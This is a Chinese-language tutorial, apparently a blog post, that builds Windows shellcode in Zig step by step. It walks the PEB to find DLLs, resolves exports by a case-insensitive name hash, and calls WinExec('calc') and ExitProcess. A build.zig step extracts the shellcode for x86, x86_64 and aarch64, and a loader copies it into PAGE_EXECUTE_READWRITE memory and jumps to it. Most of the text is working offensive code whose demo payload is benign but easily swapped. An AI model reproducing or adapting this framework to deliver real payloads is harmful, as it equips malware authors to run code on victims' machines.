Windows下shellcode的通用流程是
- 通过PEB遍历获取DLL模块的地址
- 搜索DLL模块的导出表获取需要的API
- 通过API实现特定的功能
早期很多教程借助汇编来实现,但现在几乎都是高级语言直接编写
比如最佳实践:donut,上述3个流程可以在以下代码中找到
https://github.com/TheWover/donut/blob/v1.0/loader/peb.c
C语言能写的,Zig也一定能写,本文使用zig版本0.11.0,将带你一条龙实现shellcode
准备工作
PEB
获取PEB
std.os.windows.peb()
结构体
一些常见的windows上的结构体都在 std.os.windows
中有声明,但缺失与shellcode相关的有两部分
一是PEB中的LDR_DATA_TABLE_ENTRY
结构,二是PE格式相关的结构
代码见: https://github.com/howmp/zigshellcode/blob/main/src/win32.zig
PE中的地址转换
通过泛型
根据返回值的类型自动转换,目前用到要么返回个指针,要么返回个usize
pub fn rva2va(comptime T: type, base: *const anyopaque, rva: usize) T {
var ptr = @intFromPtr(base) + rva;
return switch (@typeInfo(T)) {
.Pointer => {
return @as(T, @ptrFromInt(ptr));
},
.Int => {
if (T != usize) {
@compileError("expected usize, found '" ++ @typeName(T) ++ "'");
}
return @as(T, ptr);
},
else => {
@compileError("expected pointer or int, found '" ++ @typeName(T) ++ "'");
},
};
}
hash算法
为了精简shellcode大小,在判断导出表函数名使用hash值比较
参考了java对String的hash算法
- 设置了一个初始值(iv)
- 计算时忽略大小写
inline fn hashApi(api: []const u8) u32 {
var h: u32 = 0x6c6c6a62; // iv for api hash
for (api) |item| {
// 0x20 for lowercase
h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0];
}
return h;
}
声明API原型
我们想要实现启动程序并退出的shellcode,需要WinExec和ExitProcess两个API
注意ok
方法,它通过@typeInfo
反射结构体成员,判断是否结构体中所有API指针均不为空
const apiAddr = struct {
const Self = @This();
WinExec: ?*const fn (
lpCmdLine: [*c]u8,
UINT: windows.UINT,
) callconv(windows.WINAPI) windows.UINT = null,
ExitProcess: ?*const fn (
nExitCode: windows.LONG,
) callconv(windows.WINAPI) void = null,
fn ok(self: *Self) bool {
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (@field(self, field.name) == null) {
return false;
}
}
return true;
}
};
实现主要逻辑
通过PEB遍历获取DLL模块的地址
fn getApi(apis: *apiAddr) bool {
var peb = std.os.windows.peb();
var ldr = peb.Ldr;
var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
while (dte.DllBase != null) : ({
dte = @ptrCast(dte.InLoadOrderLinks.Flink);
}) {
findApi(apis, dte.DllBase.?);
if (apis.ok()) {
return true;
}
}
return false;
}
搜索DLL模块的导出表获取需要的API
这里有必要解释一下
- 通过
@typeInfo
反射遍历apiAddr
结构所有成员信息 -
comptime hashApi(field.name)
通过comptime
关键字编译时计算apiAddr
成员名称的hash - 最后通过
@field
设置结构体成员的值
如果以后需要添加新的API,只需要在apiAddr
结构中增加成员即可
fn findApi(r: *apiAddr, inst: windows.PVOID) void {
var dos: *win32.IMAGE_DOS_HEADER = @ptrCast(@alignCast(inst));
var nt = rva2va(*win32.IMAGE_NT_HEADERS, inst, @as(u32, @bitCast(dos.e_lfanew)));
var rva = nt.OptionalHeader.DataDirectory[win32.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (rva == 0) {
return;
}
var exp = rva2va(*win32.IMAGE_EXPORT_DIRECTORY, inst, rva);
var cnt = exp.NumberOfNames;
if (cnt == 0) {
return;
}
var adr = rva2va([*c]u32, inst, exp.AddressOfFunctions);
var sym = rva2va([*c]u32, inst, exp.AddressOfNames);
var ord = rva2va([*c]u16, inst, exp.AddressOfNameOrdinals);
var dll = sliceTo(rva2va([*c]u8, inst, exp.Name));
std.log.debug("[i]{s}", .{dll});
for (0..cnt) |i| {
var sym_ = rva2va([*c]u8, inst, sym[i]);
var adr_ = rva2va(usize, inst, adr[ord[i]]);
var hash = hashApi(sliceTo(sym_));
inline for (@typeInfo(apiAddr).Struct.fields) |field| {
if (hash == comptime hashApi(field.name)) {
@field(r, field.name) = @ptrFromInt(adr_);
std.log.debug("[+]{s} at 0x{X}", .{ field.name, adr_ });
}
}
}
}
inline fn sliceTo(buf: [*c]u8) []u8 {
var len: usize = 0;
while (buf[len] != 0) : ({
len += 1;
}) {}
return buf[0..len];
}
通过API实现特定的功能
为了方便调试,我们声明了main
函数用于生成测试的控制台程序
为了方便后续提取shellcode,我们导出了go
和goEnd
函数
pub fn main() void {
go();
}
pub export fn go() void {
var apis = apiAddr{};
if (!getApi(&apis)) {
std.log.debug("[-]api not found", .{});
return;
}
std.log.debug("[+]find {d} api", .{@typeInfo(apiAddr).Struct.fields.len});
var cmdline = "calc".*;
_ = apis.WinExec.?(&cmdline, 0);
apis.ExitProcess.?(0);
}
pub export fn goEnd() void {}
zig build
编译程序,测试结果正常
构建提取shellcode
c语言使用Makefile,CMake,ninja等工具都可以构建
与c语言不同,zig统一通过build.zig
中的zig代码来构建,自由度更高也更统一
另外由于zig使用llvm作为后端,所以支持windows的x86, x86_64, aarch64三种架构
构建测试程序
先修改成可以一次编译三种架构
const std = @import("std");
pub fn build(b: *std.Build) void {
const optimize = b.standardOptimizeOption(.{});
{
inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
const exe = b.addExecutable(.{
.name = "test-" ++ t,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = t ++ "-windows-gnu" }) catch unreachable,
.optimize = optimize,
});
b.installArtifact(exe);
}
}
}
再次执行zig build
,可以看到同时生成了三种架构的测试程序
提取shellcode
在build
方法中添加如下代码
- 添加
sc
步骤,之后可以通过命令zig build sc
来触发 - 同时生成三种架构的shellcode
- 使用
ReleaseSmall
来编译,生成更小的shellcode
const sc = b.step("sc", "Build ReleaseSmall shellcode");
{
inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
const dll = b.addSharedLibrary(.{
.name = "sc-" ++ arch,
.root_source_file = .{ .path = "src/main.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = arch ++ "-windows-msvc" }) catch unreachable,
.optimize = .ReleaseSmall,
});
const install = b.addInstallArtifact(dll, .{});
const c = GenShellCode.create(b, install);
sc.dependOn(&c.step);
}
}
实现GenShellCode
,主要思路是
- 读取对应架构的DLL
- 解析DLL的导出表
go
和goEnd
函数,提取shellcode - 写出到对应sc文件
代码见: https://github.com/howmp/zigshellcode/blob/main/build.zig#L103
通过命令zig build sc
生成shellcode,可以看到大小在300个字节左右
测试shellcode
在src目录新建一个loader.zig
实现一个简单的shellcode加载和运行
const std = @import("std");
const os = std.os;
const fs = std.fs;
const path = fs.path;
const win = os.windows;
pub fn main() !void {
const allocator = std.heap.page_allocator;
var args = try std.process.argsAlloc(allocator);
defer allocator.free(args);
if (args.len == 1) {
std.log.err("usage: {s} scpath", .{path.basename(args[0])});
return;
}
var data = try fs.cwd().readFileAlloc(allocator, args[1], 1024 * 1024 * 1024);
var ptr = try win.VirtualAlloc(
null,
data.len,
win.MEM_COMMIT | win.MEM_RESERVE,
win.PAGE_EXECUTE_READWRITE,
);
defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
var buf: [*c]u8 = @ptrCast(ptr);
@memcpy(buf[0..data.len], data);
@as(*const fn () void, @ptrCast(@alignCast(ptr)))();
}
在build.zig
中添加loader
步骤
const loader = b.step("loader", "Build ReleaseSmall loader");
{
inline for (&.{ "x86", "x86_64", "aarch64" }) |t| {
const exe = b.addExecutable(.{
.name = "loader-" ++ t,
.root_source_file = .{ .path = "src/loader.zig" },
.target = std.zig.CrossTarget.parse(.{ .arch_os_abi = t ++ "-windows-gnu" }) catch unreachable,
.optimize = .ReleaseSmall,
});
loader.dependOn(&b.addInstallArtifact(exe, .{}).step);
}
}
通过命令zig build loader
生成,测试shellcode是否正常
完整代码
https://github.com/howmp/zigshellcode
总结
用zig实现shellcode相对于c有以下优势
- 通过
@typeInfo
编译时反射,实现添加API声明后自动获取地址 - 通过
comptime
编译时关键字,实现自动生成API字符串hash - 通过编写
build.zig
构建代码,实现自动提取x86, x86_64, aarch64三种架构shellcode